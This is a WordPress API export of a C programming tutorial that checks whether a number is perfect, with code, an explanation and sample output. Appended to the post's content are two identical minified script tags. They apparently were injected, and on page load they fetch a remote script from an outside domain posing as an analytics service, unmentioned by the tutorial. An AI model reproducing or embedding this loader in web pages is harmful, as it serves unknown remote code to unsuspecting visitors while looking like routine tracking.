{"id":691,"date":"2024-10-19T13:19:11","date_gmt":"2024-10-19T07:49:11","guid":{"rendered":"https:\/\/codexplained.in\/?p=691"},"modified":"2025-11-24T15:40:49","modified_gmt":"2025-11-24T10:10:49","slug":"check-perfect-number","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=691","title":{"rendered":"Check Perfect Number"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n\/\/ Function to check if a number is perfect\nint isPerfect(int num) {\n    int sum = 0; \/\/ Initialize sum of divisors\n\n    \/\/ Loop to find divisors and sum them\n    for (int i = 1; i &lt;= num \/ 2; i++) { \/\/ Only need to check up to num\/2\n        if (num % i == 0) { \/\/ Check if i is a divisor\n            sum += i; \/\/ Add divisor to sum\n        }\n    }\n\n    \/\/ Check if sum of divisors equals the number\n    return sum == num; \/\/ Return 1 (true) if perfect, else 0 (false)\n}\n\nint main() {\n    int number;\n\n    \/\/ Prompt user for input\n    printf(&quot;Enter a positive integer: &quot;);\n    scanf(&quot;%d&quot;, &amp;number);\n\n    \/\/ Check for valid input\n    if (number &lt;= 0) {\n        printf(&quot;Please enter a positive integer.\\n&quot;);\n    } else {\n        \/\/ Check and display if the number is perfect\n        if (isPerfect(number)) {\n            printf(&quot;%d is a perfect number.\\n&quot;, number);\n        } else {\n            printf(&quot;%d is not a perfect number.\\n&quot;, number);\n        }\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation of the Code<\/h2>\n\n\n\n<p>Calls the <code>is Perfect<\/code> function and displays the result.<\/p>\n\n\n\n<p><strong>Header Files<\/strong>: We include <code>stdio.h<\/code> to use standard input and output functions.<\/p>\n\n\n\n<p><strong>Function <code>isPerfect(int num)<\/code><\/strong>:<\/p>\n\n\n\n<p>Initializes a variable <code>sum<\/code> to keep track of the sum of divisors.<\/p>\n\n\n\n<p>Uses a loop to find divisors from <code>1<\/code> to <code>num \/ 2<\/code> (since a number cannot be divisible by a number larger than half of itself).<\/p>\n\n\n\n<p>If <code>i<\/code> is a divisor (i.e., <code>num % i == 0<\/code>), it adds <code>i<\/code> to <code>sum<\/code>.<\/p>\n\n\n\n<p>Finally, it checks if the <code>sum<\/code> equals the original number, returning <code>1<\/code> if true (perfect) or <code>0<\/code> if false (not perfect).<\/p>\n\n\n\n<p><strong>Main Function<\/strong>:<\/p>\n\n\n\n<p>Prompts the user to enter a positive integer.<\/p>\n\n\n\n<p>Checks if the input is valid (greater than 0).<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Output<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>Enter a positive integer: 6\n6 is a perfect number.\n\nEnter a positive integer: 10\n10 is not a perfect number.\n\nEnter a positive integer: -5\nPlease enter a positive integer.<\/code><\/pre>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation of the Code Calls the is Perfect function and displays the result. Header Files: We include stdio.h to use standard input and output functions. Function isPerfect(int num): Initializes a variable sum to keep track of the sum of divisors. Uses a loop to find divisors from 1 to num \/ 2 (since a number [&hellip;]<\/p>\n","protected":false},"author":38,"featured_media":724,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-691","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/691","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=691"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/691\/revisions"}],"predecessor-version":[{"id":1416,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/691\/revisions\/1416"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/724"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=691"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=691"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=691"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}